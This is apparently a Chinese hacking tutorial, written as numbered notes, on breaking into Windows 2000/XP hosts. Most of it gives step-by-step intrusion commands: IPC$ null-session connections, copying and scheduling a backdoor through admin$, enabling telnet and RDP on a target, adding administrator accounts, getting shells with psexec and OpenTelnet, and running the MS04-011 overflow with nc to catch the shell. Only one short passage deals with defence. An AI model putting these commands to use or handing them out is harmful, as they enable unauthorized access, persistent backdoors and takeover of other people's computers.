58.非xp系统的IPC$入侵
1 建立 / 删除 ipc$ 连接的命令
1 )建立空连接 :
net use \\127.0.0.1\ipc$ "" /user:""
2 )建立非空连接 :
net use \\127.0.0.1\ipc$ " 密码 " /user:" 用户名 "
3 )删除连接 :
net use \\127.0.0.1\ipc$ /del
2 在 ipc$ 连接中对远程主机的操作命令
1 ) 查看远程主机的共享资源(看不到默认共享) :
net view \\127.0.0.1
2 ) 查看远程主机的当前时间 :
net time \\127.0.0.1
3 ) 得到远程主机的 netbios 用户名列表 :
nbtstat -A 127.0.0.1
4 )映射 / 删除远程共享 :
net use z: \\127.0.0.1\c
此命令将共享名为 c 的共享资源映射为本地 z 盘
net use z: /del
删除映射的 z 盘,其他盘类推
5 )向远程主机复制文件 :
copy 路径 \ 文件名 \\IP\ 共享目录名,如:
copy c:\xinxin.exe \\127.0.0.1\c$ 即将 c 盘下的 xinxin.exe 复制到对方 c 盘内
当然,你也可以把远程主机上的文件复制到自己的机器里:
copy \\127.0.0.1\c$\xinxin.exe c:\
6 )远程添加计划任务 :
at \\IP 时间 程序名 如:
at \\127.0.0.0 11:00 xinxin.exe
注意:时间尽量使用 24 小时制;如果你打算运行的程序在系统默认搜索路径(比如 system32/ )下则不用加路径,否则必须加全路径
3 本地命令
1 )查看本地主机的共享资源(可以看到本地的默认共享)
net share
2 )得到本地主机的用户列表
net user
3 )显示本地某用户的帐户信息
net user 帐户名
4 )显示本地主机当前启动的服务
net start
5 )启动 / 关闭本地服务
net start 服务名
net stop 服务名
6 )在本地添加帐户
net user 帐户名 密码 /add
7 )激活禁用的用户
net uesr 帐户名 /active:yes
8 )加入管理员组
net localgroup administrators 帐户名 /add
很显然的是,虽然这些都是本地命令,但如果你在远程主机的 shell 中输入,比如你 telnet 成功后输入上面这些命令,那么这些本地输入将作用在远程主机上。
9 )从管理员组删除
net localgroup administrators 帐户名 /del
4 其他一些命令
1 )telnet
telnet IP 端口
telnet 127.0.0.0 23
2 )用 opentelnet.exe 开启远程主机的 telnet
OpenTelnet.exe \\ip 管理员帐号 密码 NTLM 的认证方式 port
OpenTelnet.exe \\127.0.0.1 administrator "" 1 90
不过这个小工具需要满足四个要求:
1 )目标开启了 ipc$ 共享
2 )你要拥有管理员密码和帐号
3 )目标开启 RemoteRegistry 服务,用户就可以更改 ntlm 认证
4 )对仅 WIN2K/XP 有效
5 )用 psexec.exe 一步获得 shell ,需要 ipc 管道支持 (对方必须开启admin$)
psexec.exe \\IP -u 管理员帐号 -p 密码 cmd
psexec.exe \\127.0.0.1 -u administrator -p "" cmd
十三 对比过去和现今的 ipc$ 入侵
既然是对比,那么我就先把过去的 ipc$ 入侵步骤写给大家,都是蛮经典的步骤:
[1]
C:\>net use \\127.0.0.1\ipc$ "" /user:admintitrators \\ 用扫到的空口令建立连接
[2]
c:\>net view \\127.0.0.1 \\ 查看远程的共享资源
[3]
C:\>copy srv.exe \\127.0.0.1\admin$\system32
\\ 将一次性后门 srv.exe 复制到对方的系统文件夹下,前提是 admin$ 开启
[4]
C:\>net time \\127.0.0.1
\\ 查看远程主机的当前时间
[5]
C:\>at \\127.0.0.1 时间 srv.exe
\\ 用 at 命令远程运行 srv.exe ,需要对方开启了 'Task Scheduler' 服务
[6]
C:\>net time \\127.0.0.1
\\ 再次查看当前时间来估算 srv.exe 是否已经运行,此步可以省略
[7]
C:\>telnet 127.0.0.1 99
\\ 开一个新窗口,用 telnet 远程登陆到 127.0.0.1 从而获得一个 shell( 不懂 shell 是什么意思?那你就把它想象成远程机器的控制权就好了,操作像 DOS),99 端口是srv.exe 开的一次性后门的端口
[8]
C:\WINNT\system32>net start telnet
\\ 我们在刚刚登陆上的 shell 中启动远程机器的 telnet 服务,毕竟 srv.exe 是一次性的后门,我们需要一个长久的后门便于以后访问,如果对方的 telnet 已 经启动,此步可省略
[9]
C:\>copy ntlm.exe \\127.0.0.1\admin$\system32
\\ 在原来那个窗口中将 ntlm.exe 传过去, ntlm.exe 是用来更改 telnet 身份验证的
[10]
C:\WINNT\system32>ntlm.exe
\\ 在 shell 窗口中运行 ntlm.exe ,以后你就可以畅通无阻的 telnet 这台主机了
[11]
C:\>telnet 127.0.0.1 23
\\ 在新窗口中 telnet 到 127.0.0.1 ,端口 23 可省略,这样我们又获得一个长期的后门
[12]
C:\WINNT\system32>net user 帐户名 密码 /add
C:\WINNT\system32>net uesr guest /active:yes
C:\WINNT\system32>net localgroup administrators 帐户名 /add
\\telnet 上以后,你可以建立新帐户,激活 guest ,把任何帐户加入管理员组等
好了,写到这里我似乎回到了 2 , 3 年前,那时的 ipc$ 大家都是这么用的,不过随着新工具的出现,上面提到的一些工具和命令现在已经不常用到了,那就让 我们看看现在的高效而简单的 ipc$ 入侵吧。
[13]
psexec.exe \\IP -u 管理员帐号 -p 密码 cmd \\ 用这个工具我们可以一步到位的获得 shell
OpenTelnet.exe \\server 管理员帐号 密码 NTLM 的认证方式 port \\ 用它可以方便的更改 telnet 的验证方式和端口,方便我们登陆
59.xp系统入侵
1.开启远程桌面(3389端口)
将下面三行复制到记事本,该后缀名为3389.reg 即可打开3389端口(远程桌面连接功能)
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000
将3389.reg复制到目标机上(复制要先得到目标的权限)
在目标机上导入3389.reg 的dos命令:regedit /s c:\3389.reg 或 regedit /e c:\123.reg
再在运行输入mstsc 在弹出的窗口中输入目标机的IP 即可连接到目标机的桌面
2.xp 系统入侵
[1].入侵一:
对方电脑条件:
(1)控制面板------>服务----->本地安全策略------>安全选项-->"网络访问:本地账户的共享和安全模式 "为"经典-本地用户以自己的身份验证"
可通过修改注册表改为"经典-本地用户以自己的身份验证":
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]
"forceguest"=dword:00000000
(2)控制面板------>服务----->本地安全策略------>安全选项-->"账户:来宾用户状态" 为已启用
net user guest /active:yes 可开启
(3)有对方用户名和密码
入侵步骤:
(1).开始菜单----->运行----->cmd-->键入net use \\192.168.0.1\ipc$ " 密码 " /user:" 用户名 "
例: net use \\192.168.0.1\ipc$ "" /user:"administrator"
(2).我的电脑---->管理---->操作--->连接到另一台计算机---->输入对方计算机名或IP
当连接上了以后----->点击左边的"服务和应用程序",服务---->开启 telnet 服务
(3)开始菜单----->运行----->cmd-->telnet 192.168.0.1 即可获得对方shell
[2].入侵二:使用xp溢出(我没成功过)
在网上下载一个xp.exe 或 ms04011
(1).xp溢出使用方法: xp <Target ID> <Target IP> 例:D:\xp.exe 15 192.168.0.1 溢出成功即可获得对方shell
(2).ms04011 使用
D:\>ms04011 1 192.168.8.222 1122
shellcode size 404
Ret value = 1727
再开一个shell
D:\>nc 192.168.8.222 1122
如果出现引号内容
"Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp. "
则表示溢出成功,获得对方shell,这样即可在对方机上执行任何命令
[3].借助 psexec.exe 工具
前提:对方有共享admin$;net share admin$ 即可共享admin$,删除 net share admin$ /del
psexec.exe \\IP -u 管理员帐号 -p 密码 cmd \\ 用这个工具我们可以一步到位的获得 shell
例:D:\psexec.exe \\192.168.0.1 -u administrator -p "" cmd
60.系统防护:
控制面板—>管理工具—>本地安全策略”,展开“本地策略”—“用户权利指派”。在右边有一个“拒绝从网络访问这台计算机”-->添加用户和组
添加Guest用户即可让别人不能从网络访问本机
61.禁用的at服务开启?
先运行“sc config Schedule start= DEMAND”,再运行一遍“net start schedule”
62.注册表解禁
1).在Windows 2000/XP/2003中,我们可以通过单击“开始→运行”,输入“Gpedit.msc”后回车,打开“组策略”。然后依次展开“用户配置→管理模板→系统”,双击右 侧窗口中的“阻止访问注册表编辑工具”,在弹出的窗口中选择“已禁用”,“确定”后再退出“组策略”,即可为注册表解锁. |